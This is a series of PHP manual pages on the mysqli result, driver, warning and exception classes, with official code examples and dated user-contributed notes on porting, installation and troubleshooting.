Also note that the fields which will be assigned by fetch_object are case sensitive. If your table has the field "ID", it will result in the class field $ID being set. A simple work-around is to use aliases. I.e. "SELECT *, ID as id FROM myTable"
I hope this helps some people.
Alex 27-Jan-2012 01:36
Make sure to specify the full namespace for the "string $class_name" parameter and not a partial one, as it won't find it. For example:

<?php

namespace Root(backslash)FirstLevel
{
    public static function Test($result)
    {
        return mysqli_fetch_object($result, 'SecondLevel\\MyClass');
    }
}

?>

... will not work but this will:

<?php

namespace Root(backslash)FirstLevel
{
    public static function Test($result)
    {
        return mysqli_fetch_object($result, 'Root\\FirstLevel\\SecondLevel\\MyClass');
    }
}

?>
benpptung at tacol dot biz 09-Aug-2009 05:04
I don't know why no one talk about this.
fetch_object is very powerful since you can instantiate an Object which has the methods you wanna have.

You can try like this..

<?php
class PowerfulVO extends AbstractWhatEver {

    public $field1;
    private $field2; // note : private is ok

    public function method(){
       // method in this class
    }
}

     $sql = "SELECT * FROM table ..."
     $mysqli = new mysqli(........);
     $result = $mysqli->query($sql);
     $vo = $result->fetch_object('PowerfulVO');
?>

Note : if the field is not defined in the class, fetch_object will add this field for you as public.

The method is very powerful, especially if you want to use a VO design pattern or class mapping feature with Flex Remoting Object( Of course, you need to have ZendAMF or AMFPHP ..framework)

Hope this help and open new possibilities for you
peterbelm at g[oogle]mail dot com 18-Aug-2008 04:10
If your SQL code selects columns with empty names like so:

SELECT id as ``...

You will get a fatal error "Cannot access empty property", this took me a while to track down!

Obviously your SQL really shouldn't do that, and should be fixed but I'm going to submit a feature request to ask for a better error message for that.


Get a result row as an enumerated array

  • « mysqli_result::fetch_object
  • mysqli_result::$field_count »
  • PHP Manual
  • mysqli_result
  • Get a result row as an enumerated array

mysqli_result::fetch_row

mysqli_fetch_row

(PHP 5)

mysqli_result::fetch_row -- mysqli_fetch_row — Get a result row as an enumerated array

Description

Object oriented style

mixed mysqli_result::fetch_row ( void )

Procedural style

mixed mysqli_fetch_row ( mysqli_result $result )

Fetches one row of data from the result set and returns it as an enumerated array, where each column is stored in an array offset starting from 0 (zero). Each subsequent call to this function will return the next row within the result set, or NULL if there are no more rows.

Parameters

result

Procedural style only: A result set identifier returned by mysqli_query(), mysqli_store_result() or mysqli_use_result().

Return Values

mysqli_fetch_row() returns an array of strings that corresponds to the fetched row or NULL if there are no more rows in result set.

Note: This function sets NULL fields to the PHP NULL value.

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID DESC LIMIT 50,5";

if ($result = $mysqli->query($query)) {

    /* fetch object array */
    while ($row = $result->fetch_row()) {
        printf ("%s (%s)\n", $row[0], $row[1]);
    }

    /* free result set */
    $result->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, CountryCode FROM City ORDER by ID DESC LIMIT 50,5";

if ($result = mysqli_query($link, $query)) {

    /* fetch associative array */
    while ($row = mysqli_fetch_row($result)) {
        printf ("%s (%s)\n", $row[0], $row[1]);
    }

    /* free result set */
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Pueblo (USA)
Arvada (USA)
Cape Coral (USA)
Green Bay (USA)
Santa Clara (USA)

See Also

  • mysqli_fetch_array() - Fetch a result row as an associative, a numeric array, or both
  • mysqli_fetch_assoc() - Fetch a result row as an associative array
  • mysqli_fetch_object() - Returns the current row of a result set as an object
  • mysqli_query() - Performs a query on the database
  • mysqli_data_seek() - Adjusts the result pointer to an arbitrary row in the result

User Contributed Notes

sainthyoga2003 at gmail dot com 18-Mar-2014 12:35
Note that mysqli_fetch() is deprecated but still is in PHP function list. mysqli_fetch_row() is nowadays mysql procedural style used, but is not listed in PHP functions.
evangun2001 at yahoo dot fr 16-Sep-2007 11:24
Remember that fetch() and fetch_row() are two different things, and differ in the way to use them.

- fetch() is used on a statement (like an executed prepared statement) and needs to be used in association with bind_result().

- fetch_row() is used on a result (like the result of query()).

As a consequence, if you want to use to use fetch_row() with an executed prepared statement, first you'll have to get the result out of this statement with mysqli_store_result() or mysqli_use_result().
Stephen 23-Jan-2007 11:29
It's worth noting that the MySQLi functions (and, I presume, the MySQL functions) fetch a string regardless of the MySQL data type. E.g. if you fetch a row with an integer column, the corresponding value for that column and row will still be stored as a string in the array returned by mysql_fetch_row.
maillist at pnpitalia.it 06-Jan-2004 07:01
from "README.PHP4-TO-PHP5-THIN-CHANGES"

4. Be careful when porting from ext/mysql to ext/mysqli. The following
   functions return NULL when no more data is available in the result set
   (ext/mysql's functions return FALSE).

    - mysqli_fetch_row()
    - mysqli_fetch_array()
    - mysqli_fetch_assoc()


Get the number of fields in a result

  • « mysqli_result::fetch_row
  • mysqli_result::field_seek »
  • PHP Manual
  • mysqli_result
  • Get the number of fields in a result

mysqli_result::$field_count

mysqli_num_fields

(PHP 5)

mysqli_result::$field_count -- mysqli_num_fields — Get the number of fields in a result

Description

Object oriented style

int $mysqli_result->field_count;

Procedural style

int mysqli_num_fields ( mysqli_result $result )

Returns the number of fields from specified result set.

Parameters

result

Procedural style only: A result set identifier returned by mysqli_query(), mysqli_store_result() or mysqli_use_result().

Return Values

The number of fields from a result set.

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if ($result = $mysqli->query("SELECT * FROM City ORDER BY ID LIMIT 1")) {

    /* determine number of fields in result set */
    $field_cnt = $result->field_count;

    printf("Result set has %d fields.\n", $field_cnt);

    /* close result set */
    $result->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if ($result = mysqli_query($link, "SELECT * FROM City ORDER BY ID LIMIT 1")) {

    /* determine number of fields in result set */
    $field_cnt = mysqli_num_fields($result);

    printf("Result set has %d fields.\n", $field_cnt);

    /* close result set */
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Result set has 5 fields.

See Also

  • mysqli_fetch_field() - Returns the next field in the result set

User Contributed Notes

There are no user contributed notes for this page.


Set result pointer to a specified field offset

  • « mysqli_result::$field_count
  • mysqli_result::free »
  • PHP Manual
  • mysqli_result
  • Set result pointer to a specified field offset

mysqli_result::field_seek

mysqli_field_seek

(PHP 5)

mysqli_result::field_seek -- mysqli_field_seek — Set result pointer to a specified field offset

Description

Object oriented style

bool mysqli_result::field_seek ( int $fieldnr )

Procedural style

bool mysqli_field_seek ( mysqli_result $result , int $fieldnr )

Sets the field cursor to the given offset. The next call to mysqli_fetch_field() will retrieve the field definition of the column associated with that offset.

Note:

To seek to the beginning of a row, pass an offset value of zero.

Parameters

result

Procedural style only: A result set identifier returned by mysqli_query(), mysqli_store_result() or mysqli_use_result().

fieldnr

The field number. This value must be in the range from 0 to number of fields - 1.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = $mysqli->query($query)) {

    /* Get field information for 2nd column */
    $result->field_seek(1);
    $finfo = $result->fetch_field();

    printf("Name:     %s\n", $finfo->name);
    printf("Table:    %s\n", $finfo->table);
    printf("max. Len: %d\n", $finfo->max_length);
    printf("Flags:    %d\n", $finfo->flags);
    printf("Type:     %d\n\n", $finfo->type);

    $result->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = mysqli_query($link, $query)) {

    /* Get field information for 2nd column */
    mysqli_field_seek($result, 1);
    $finfo = mysqli_fetch_field($result);

    printf("Name:     %s\n", $finfo->name);
    printf("Table:    %s\n", $finfo->table);
    printf("max. Len: %d\n", $finfo->max_length);
    printf("Flags:    %d\n", $finfo->flags);
    printf("Type:     %d\n\n", $finfo->type);

    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Name:     SurfaceArea
Table:    Country
max. Len: 10
Flags:    32769
Type:     4

See Also

  • mysqli_fetch_field() - Returns the next field in the result set

User Contributed Notes

There are no user contributed notes for this page.


Frees the memory associated with a result

  • « mysqli_result::field_seek
  • mysqli_result::$lengths »
  • PHP Manual
  • mysqli_result
  • Frees the memory associated with a result

mysqli_result::free

mysqli_free_result

(PHP 5)

mysqli_result::free -- mysqli_free_result — Frees the memory associated with a result

Description

Object oriented style

void mysqli_result::free ( void )
void mysqli_result::close ( void )
void mysqli_result::free_result ( void )

Procedural style

void mysqli_free_result ( mysqli_result $result )

Frees the memory associated with the result.

Note:

You should always free your result with mysqli_free_result(), when your result object is not needed anymore.

Parameters

result

Procedural style only: A result set identifier returned by mysqli_query(), mysqli_store_result() or mysqli_use_result().

Return Values

No value is returned.

See Also

  • mysqli_query() - Performs a query on the database
  • mysqli_stmt_store_result() - Transfers a result set from a prepared statement
  • mysqli_store_result() - Transfers a result set from the last query
  • mysqli_use_result() - Initiate a result set retrieval

User Contributed Notes

Vector at ionisis dot com 29-Dec-2009 02:17
If you are getting this error:
Internal SQL Bug: 2014, Commands out of sync; you can't run this command now

Then you never called mysqli_result::free(), mysqli_result::free_result(), mysqli_result::close(), or mysqli_free_result() in your script, and must call it before executing another stored procedure.
Anonymous 19-Oct-2009 12:49
Freeing the memory associated with a result means that the references returned by mysqli_fetch_object (or equivalent) are cleared. Thus if you should pass an object pointing to a database row _by reference_, every call of mysqli_free_result will discard the referenced data.


Returns the lengths of the columns of the current row in the result set

  • « mysqli_result::free
  • mysqli_result::$num_rows »
  • PHP Manual
  • mysqli_result
  • Returns the lengths of the columns of the current row in the result set

mysqli_result::$lengths

mysqli_fetch_lengths

(PHP 5)

mysqli_result::$lengths -- mysqli_fetch_lengths — Returns the lengths of the columns of the current row in the result set

Description

Object oriented style

array $mysqli_result->lengths;

Procedural style

array mysqli_fetch_lengths ( mysqli_result $result )

The mysqli_fetch_lengths() function returns an array containing the lengths of every column of the current row within the result set.

Parameters

result

Procedural style only: A result set identifier returned by mysqli_query(), mysqli_store_result() or mysqli_use_result().

Return Values

An array of integers representing the size of each column (not including any terminating null characters). FALSE if an error occurred.

mysqli_fetch_lengths() is valid only for the current row of the result set. It returns FALSE if you call it before calling mysqli_fetch_row/array/object or after retrieving all rows in the result.

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT * from Country ORDER BY Code LIMIT 1";

if ($result = $mysqli->query($query)) {

    $row = $result->fetch_row();

    /* display column lengths */
    foreach ($result->lengths as $i => $val) {
        printf("Field %2d has Length %2d\n", $i+1, $val);
    }
    $result->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query = "SELECT * from Country ORDER BY Code LIMIT 1";

if ($result = mysqli_query($link, $query)) {

    $row = mysqli_fetch_row($result);

    /* display column lengths */
    foreach (mysqli_fetch_lengths($result) as $i => $val) {
        printf("Field %2d has Length %2d\n", $i+1, $val);
    }
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Field  1 has Length  3
Field  2 has Length  5
Field  3 has Length 13
Field  4 has Length  9
Field  5 has Length  6
Field  6 has Length  1
Field  7 has Length  6
Field  8 has Length  4
Field  9 has Length  6
Field 10 has Length  6
Field 11 has Length  5
Field 12 has Length 44
Field 13 has Length  7
Field 14 has Length  3
Field 15 has Length  2

User Contributed Notes

There are no user contributed notes for this page.


Gets the number of rows in a result

  • « mysqli_result::$lengths
  • mysqli_driver »
  • PHP Manual
  • mysqli_result
  • Gets the number of rows in a result

mysqli_result::$num_rows

mysqli_num_rows

(PHP 5)

mysqli_result::$num_rows -- mysqli_num_rows — Gets the number of rows in a result

Description

Object oriented style

int $mysqli_result->num_rows;

Procedural style

int mysqli_num_rows ( mysqli_result $result )

Returns the number of rows in the result set.

The behaviour of mysqli_num_rows() depends on whether buffered or unbuffered result sets are being used. For unbuffered result sets, mysqli_num_rows() will not return the correct number of rows until all the rows in the result have been retrieved.

Parameters

result

Procedural style only: A result set identifier returned by mysqli_query(), mysqli_store_result() or mysqli_use_result().

Return Values

Returns number of rows in the result set.

Note:

If the number of rows is greater than PHP_INT_MAX, the number will be returned as a string.

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if ($result = $mysqli->query("SELECT Code, Name FROM Country ORDER BY Name")) {

    /* determine number of rows result set */
    $row_cnt = $result->num_rows;

    printf("Result set has %d rows.\n", $row_cnt);

    /* close result set */
    $result->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if ($result = mysqli_query($link, "SELECT Code, Name FROM Country ORDER BY Name")) {

    /* determine number of rows result set */
    $row_cnt = mysqli_num_rows($result);

    printf("Result set has %d rows.\n", $row_cnt);

    /* close result set */
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Result set has 239 rows.

See Also

  • mysqli_affected_rows() - Gets the number of affected rows in a previous MySQL operation
  • mysqli_store_result() - Transfers a result set from the last query
  • mysqli_use_result() - Initiate a result set retrieval
  • mysqli_query() - Performs a query on the database

User Contributed Notes

borisigna 08-Aug-2011 05:19
If you have problems making work this num_rows, you have to declare ->store_result() first.

<?php
$mysqli = new mysqli("localhost","root", "", "tables");

$query = $mysqli->prepare("SELECT * FROM table1");
$query->execute();
$query->store_result();

$rows = $query->num_rows;

echo $rows;

// Return 4 for example
?>


The mysqli_driver class

(PHP 5)

Introduction

MySQLi Driver.

Class synopsis

mysqli_driver {
/* Properties */
public readonly string $client_info ;
public readonly string $client_version ;
public readonly string $driver_version ;
public readonly string $embedded ;
public bool $reconnect ;
public int $report_mode ;
/* Methods */
void embedded_server_end ( void )
bool embedded_server_start ( bool $start , array $arguments , array $groups )
}

Properties

client_info

The Client API header version

client_version

The Client version

driver_version

The MySQLi Driver version

embedded

Whether MySQLi Embedded support is enabled

reconnect

Allow or prevent reconnect (see the mysqli.reconnect INI directive)

report_mode

Set to MYSQLI_REPORT_OFF, MYSQLI_REPORT_ALL or any combination of MYSQLI_REPORT_STRICT (throw Exceptions for errors), MYSQLI_REPORT_ERROR (report errors) and MYSQLI_REPORT_INDEX (errors regarding indexes). See also mysqli_report().

Table of Contents

  • mysqli_driver::embedded_server_end — Stop embedded server
  • mysqli_driver::embedded_server_start — Initialize and start embedded server
  • mysqli_driver::$report_mode — Enables or disables internal report functions

User Contributed Notes

There are no user contributed notes for this page.


Stop embedded server

  • « mysqli_driver
  • mysqli_driver::embedded_server_start »
  • PHP Manual
  • mysqli_driver
  • Stop embedded server

mysqli_driver::embedded_server_end

mysqli_embedded_server_end

(PHP 5)

mysqli_driver::embedded_server_end -- mysqli_embedded_server_end — Stop embedded server

Description

Object oriented style

void mysqli_driver::embedded_server_end ( void )

Procedural style

void mysqli_embedded_server_end ( void )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Initialize and start embedded server

  • « mysqli_driver::embedded_server_end
  • mysqli_driver::$report_mode »
  • PHP Manual
  • mysqli_driver
  • Initialize and start embedded server

mysqli_driver::embedded_server_start

mysqli_embedded_server_start

(PHP 5)

mysqli_driver::embedded_server_start -- mysqli_embedded_server_start — Initialize and start embedded server

Description

Object oriented style

bool mysqli_driver::embedded_server_start ( bool $start , array $arguments , array $groups )

Procedural style

bool mysqli_embedded_server_start ( bool $start , array $arguments , array $groups )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Enables or disables internal report functions

  • « mysqli_driver::embedded_server_start
  • mysqli_warning »
  • PHP Manual
  • mysqli_driver
  • Enables or disables internal report functions

mysqli_driver::$report_mode

mysqli_report

(PHP 5)

mysqli_driver::$report_mode -- mysqli_report — Enables or disables internal report functions

Description

Object oriented style

int $mysqli_driver->report_mode ;

Procedural style

bool mysqli_report ( int $flags )

A function helpful in improving queries during code development and testing. Depending on the flags, it reports errors from mysqli function calls or queries that don't use an index (or use a bad index).

Parameters

flags

Supported flags
Name | Description
MYSQLI_REPORT_OFF | Turns reporting off
MYSQLI_REPORT_ERROR | Report errors from mysqli function calls
MYSQLI_REPORT_STRICT | Throw mysqli_sql_exception for errors instead of warnings
MYSQLI_REPORT_INDEX | Report if no index or bad index was used in a query
MYSQLI_REPORT_ALL | Set all options (report all)

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.3.4 | Changing the reporting mode is now be per-request, rather than per-process.
5.2.15 | Changing the reporting mode is now be per-request, rather than per-process.

Examples

Example #1 Object oriented style

<?php

$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* activate reporting */
$driver = new mysqli_driver();
$driver->report_mode = MYSQLI_REPORT_ALL;

try {

    /* this query should report an error */
    $result = $mysqli->query("SELECT Name FROM Nonexistingtable WHERE population > 50000");

    /* this query should report a bad index */
    $result = $mysqli->query("SELECT Name FROM City WHERE population > 50000");

    $result->close();

    $mysqli->close();

} catch (mysqli_sql_exception $e) {

    echo $e->__toString();
}
?>

Example #2 Procedural style

<?php
/* activate reporting */
mysqli_report(MYSQLI_REPORT_ALL);

$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* this query should report an error */
$result = mysqli_query("SELECT Name FROM Nonexistingtable WHERE population > 50000");

/* this query should report a bad index */
$result = mysqli_query("SELECT Name FROM City WHERE population > 50000");

mysqli_free_result($result);

mysqli_close($link);
?>

See Also

  • mysqli_debug() - Performs debugging operations
  • mysqli_dump_debug_info() - Dump debugging information into the log
  • mysqli_sql_exception
  • set_exception_handler() - Sets a user-defined exception handler function
  • error_reporting() - Sets which PHP errors are reported

User Contributed Notes

There are no user contributed notes for this page.


The mysqli_warning class

(PHP 5)

Introduction

Represents a MySQL warning.

Class synopsis

mysqli_warning {
/* Properties */
public $message ;
public $sqlstate ;
public $errno ;
/* Methods */
public __construct ( void )
public void next ( void )
}

Properties

message

Message string

sqlstate

SQL state

errno

Error number

Table of Contents

  • mysqli_warning::__construct — The __construct purpose
  • mysqli_warning::next — The next purpose

User Contributed Notes

hlopetz at gmail com 04-Feb-2013 09:51
mysqli_warning::__construct() seems protected according reflection:

== Class: mysqli_warning
Could not construct class mysqli_warning
Message: Access to non-public constructor of class mysqli_warning


The __construct purpose

  • « mysqli_warning
  • mysqli_warning::next »
  • PHP Manual
  • mysqli_warning
  • The __construct purpose

mysqli_warning::__construct

(PHP 5)

mysqli_warning::__construct — The __construct purpose

Description

public mysqli_warning::__construct ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The next purpose

  • « mysqli_warning::__construct
  • mysqli_sql_exception »
  • PHP Manual
  • mysqli_warning
  • The next purpose

mysqli_warning::next

(PHP 5)

mysqli_warning::next — The next purpose

Description

public void mysqli_warning::next ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


The mysqli_sql_exception class

(PHP 5)

Introduction

The mysqli exception handling class.

Class synopsis

mysqli_sql_exception extends RuntimeException {
/* Properties */
protected string $sqlstate ;
/* Inherited properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
}

Properties

sqlstate

The sql state with the error.

User Contributed Notes

polyanin at gmail dot com 19-Feb-2014 03:51
$driver = new mysqli_driver();
        $driver->report_mode = MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT;
dronebraindeveloper at gmail dot com 01-Jan-2013 10:37
Quick note on how to setup and use mysqli_sql_exceptions properly

<?php
define("MYSQL_CONN_ERROR", "Unable to connect to database.");

// Ensure reporting is setup correctly
mysqli_report(MYSQLI_REPORT_STRICT);

// Connect function for database access
function connect($usr,$pw,$db,$host) {
   try {
      $mysqli = new mysqli($host,$usr,$pw,$db);
      $connected = true;
   } catch (mysqli_sql_exception $e) {
      throw $e;
   }
}

try {
  connect('username','password','database','host');
  echo 'Connected to database';
} catch (Exception $e) {
  echo $e->errorMessage();
}
?>


Aliases and deprecated Mysqli Functions

Table of Contents

  • mysqli_bind_param — Alias for mysqli_stmt_bind_param
  • mysqli_bind_result — Alias for mysqli_stmt_bind_result
  • mysqli_client_encoding — Alias of mysqli_character_set_name
  • mysqli_connect — Alias of mysqli::__construct
  • mysqli::disable_reads_from_master — Disable reads from master
  • mysqli_disable_rpl_parse — Disable RPL parse
  • mysqli_enable_reads_from_master — Enable reads from master
  • mysqli_enable_rpl_parse — Enable RPL parse
  • mysqli_escape_string — Alias of mysqli_real_escape_string
  • mysqli_execute — Alias for mysqli_stmt_execute
  • mysqli_fetch — Alias for mysqli_stmt_fetch
  • mysqli_get_cache_stats — Returns client Zval cache statistics
  • mysqli_get_links_stats — Return information about open and cached links
  • mysqli_get_metadata — Alias for mysqli_stmt_result_metadata
  • mysqli_master_query — Enforce execution of a query on the master in a master/slave setup
  • mysqli_param_count — Alias for mysqli_stmt_param_count
  • mysqli_report — Alias of of mysqli_driver->report_mode
  • mysqli_rpl_parse_enabled — Check if RPL parse is enabled
  • mysqli_rpl_probe — RPL probe
  • mysqli_send_long_data — Alias for mysqli_stmt_send_long_data
  • mysqli::set_opt — Alias of mysqli_options
  • mysqli_slave_query — Force execution of a query on a slave in a master/slave setup

User Contributed Notes

nulled elitscripts2000 at yahoo dot com 26-Aug-2014 10:00
If you need to install mysqli extension there is no need to recompile PHP5 pr PHP5-fpm...

apt-get install php5-mysqlnd

Will install mysql and mysqli and mysqlnd

If you compile PHP from source then yes add the -use-mysqli in compile config.

This is Debian and Ubuntu.  Or at least Ubuntu.
Daniel Sowden 08-Apr-2008 12:56
I had a problem compiling PHP 5.2.5 with mysqli enabled on Mac OS X. Whether this problem was unique to me I do not no, so I am posting this for anybody else that runs into the same problem. Configure would run right to the end, but I had it telling me something had failed and that it was likely messed up. Upon checking debug.log I noticed this:

dyld: Library not loaded: /usr/local/mysql/lib/mysql/libmysqlclient.15.dylib
Referenced from: /Users/daniel/desktop/php -5.2.5/sapi/cli/php
Reason: image not found
/bin/sh: line 1: /Users/daniel/desktop/php -5.2.5/tmp-php.ini: Permission denied
dyld: Library not loaded: /usr/local/mysql/lib/mysql/libmysqlclient.15.dylib
Referenced from: /Users/daniel/desktop/php -5.2.5/sapi/cli/php
Reason: image not found
make: [test] Error 133 (ignored)

After screwing around for an hour and screaming many profanities at my computer I looked back at the error and noticed:

"/usr/local/mysql/lib/<b>mysql/</b>libmysqlclient.15.dylib

Why it was using this path I do not know, but I headslapped when I realised how simple it was! I solved the problem by creating a link called mysql that linked back on itself:

cd /usr/local/mysql/lib
sudo ln -s ./ mysql

Problem solved! I probably should have figured out why it was doing this instead, but this was easier and saved me from allot more frustration.
jeff at coderforlife dot com 13-Mar-2008 08:37
It looks as though mysqli persistent connections will be available by default in PHP 6.

The source code for the mysqli PHP 6 module is here in the mysql SVN:
http://svn.mysql.com/svnpublic/
php-mysqlnd/trunk/php6/ext/mysqli/mysqli.c

It has a ton a of references to persistence, and the ini setting for enabling persistence is true by default.

To bad this isn't be integrated into the latest PHP 5 builds.
swong 10-Nov-2007 04:48
If you want to extend mysqli and establish an connection with SSL authentication, the followings may be useful.
(note: not all php-mysqli supports mysqli_ssl_set())

class DataAccess extends mysqli
{
    function __construct(
          $hostname, $username, $passwd=null, $dbname=null,
          $port=null, $socket=null, $flags=null,
          $privatekey=null, $certificate=null, $caCertificate=null)
     {
           $link = parent::init();
           if ($privatekey!=null && $certificate!=null && $caCertificate!=null)
                 $link->ssl_set($privatekey, $certificate, $caCertificate,
                 dirname($caCertificate),NULL);
            parent::__construct($hostname, $username,
                 $passwd, $dbname, $port, $socket);
      }

         .....
}
marcus at synchromedia dot co dot uk 03-Oct-2007 06:27
For those having trouble getting MySQLi to work, there is another way that is set to become much more common:

http://dev.mysql.com/downloads/connector/php-mysqlnd/

This is the new MySQL native driver which has been backported from PHP6 and replaces MySQLi with a version that doesn't require any local MySQL client libraries or binaries.
smurf at smurf dot noris dot de 03-Jul-2007 02:45
Yay. No more persistent connections. I am NOT happy about that.

As soon as you get more than 250 requests per second (ever been slashdotted?) there will not be any more free TCP ports for talking to the database server, because each TCP port will be kept in TIME_WAIT for two minutes and there are only 30000 ports in the local range.

And that's not the only problem. There's also more than twice the packet rate on the network link to the database. Frankly I'd like my CPUs to spend their cycles on something producive. :-/
dan+php dot net-note-about-mysqli at obluda dot cz 27-Sep-2006 11:15
Hints for upgrading PHP code from MySQL to MySQLi:

Note - MySQLi doesn't support persistent connection. If you need it, you must implement it by self. This case is not covered in this note.

First - change all occurences of MYSQL_ to MYSQLI_ and mysql_ to mysqli_

Most of changes is required because mysqli* functions has no implicit link argument, so it need to be added explicitly if not present already. Even if it is present, most mysqli_ functions require 'link' argument as first (and mandatory) argument instead of last (and optional) as required by mysql_ functions. So, we need to change order of arguments at least.

So, you need to found names of all mysql_ functions used in your code, check if it need reoder of parameters or add the link parameter. Only *_connect() functions need review, but most scripts contain only few connect call.

If you use functions deprecated in mysql, then may not be impemented in mysqli. Those need to be reimplemented if required. In most case, it's very simple. In advance, PHP script written by carefull programer should not contain deprecated calls, so it's not problem in most cases at all.

Most of scripts I ported from mysql_ to mysqli_ can be converted by simple sed script followed by *_connect() function call review only. Especially when when programmer doesn't used the link as implicit argument and doesn't use deprecated functions the conversion of PHP source is trivial task and converted script work with no problem.

Special handling of some functions:

mysql_connect(),mysql_pconnect()
-----------------------------------------
Call with 3 or less parameters need not to be modified.
4-parameters call - delete 4th parameter as mysqli is always non-persistent
5-parameters - replace it by sequence of mysqli_init();mysqli_options();mysqli_real_connect()

mysql_create_db(), mysql_drop_db(), mysql_list_dbs(), mysql_db_name(),mysql_list_fields(), mysql_list_processes(), mysql_list_tables(), mysql_db_query(),mysql_table_name()
------------------------------------------
mysqli variant doesn't exist (those functions has been deprecated even in mysql_) but it's easy to reimplement each of it. Use apropropriate SQL command followed by standard loop for processing query results where applicable. If no connection to server yet you need to use explicit mysqli_connect call.

mysql_result()
-----------------
mysqli variant doesn't exist. Use one of mysqli_fetch_* variant (depending of type of mysql_result() third argument)

mysql_unbuffered_query()
-----------------
mysqli variant doesn't exist. Use mysqli_real_query()
chris <at> gerlt.net 07-Jul-2006 08:47
For installing mysqli extension after PHP is installed on a Linux ubuntu ( or other linux distro with apt-get such as debian, etc...):

# apt-get install php5-mysqli

NOTE: after install, you need to reboot apache
# apache2ctl graceful
Docey 08-Jun-2006 08:11
It should be noticed that mysqli does not support persistent
connections, so do not bother about implementing them
unless you got a million hits an hour on your website.

also about using both mysql and mysqli, i want to note
that under windows the best approach is to load either
mysql or mysqli at runtime not both.

i know that under php5 this is deprecated but it seems
to work fine. i used the same appoach under debian-linux
and seems to work aswell. just don't know for the
speed cost. maybe someone can benchmark this out.

just my 2 eurocents.
kronicade@yahoo 09-Mar-2006 08:42
Same problem, no solution.  I'm running Solaris sparc with mysql 4.1.12.  I've tried every config command I can think of and have modified my PATH as follows:

setenv PATH /usr/ccs/bin:
/usr/local/bin:
/usr/local/ipw/bin:
/usr/local/ipw/contrib/bin:
/sbin:/usr/sbin:
/usr/bin:
/usr/bin/X11:
/usr/ucb:
/usr/openwin/bin

./configure '--prefix=/usr/local/php' '--localstatedir=/usr/local'  '--mandir=/usr/share/man' '--with-mysqli=/usr/local/mysql/bin/mysql_config' '--includedir=/usr/lib' '--enable-shared=max'  '--enable-module=most'  '--with-imap=/usr/local/imap'  '--with-imap-ssl=/usr/local/ssl'  '--with-apxs2=/usr/local/apache2/bin/apxs'  '--enable-fastcgi'  '--enable-mbstring=all'  '--with-zlib-dir=/usr'  '--with-openssl=/usr/local/ssl'

I think it's a compatibility issue with the version of mysql running 64-bit.

-Andrew
Michael <mstclaire at myprintflow dot com> 13-Jan-2006 04:10
I was running into some random issues using the myqli extension with MySQL 5 on Mac OS X.

I discovered that when I compiled php 5 with the --with-mysqli flag, it was building php with the pre-installed MySQL 4 client libraries.

Heres how it fixed it to build php with the correct MySQL client libraries.

----------------
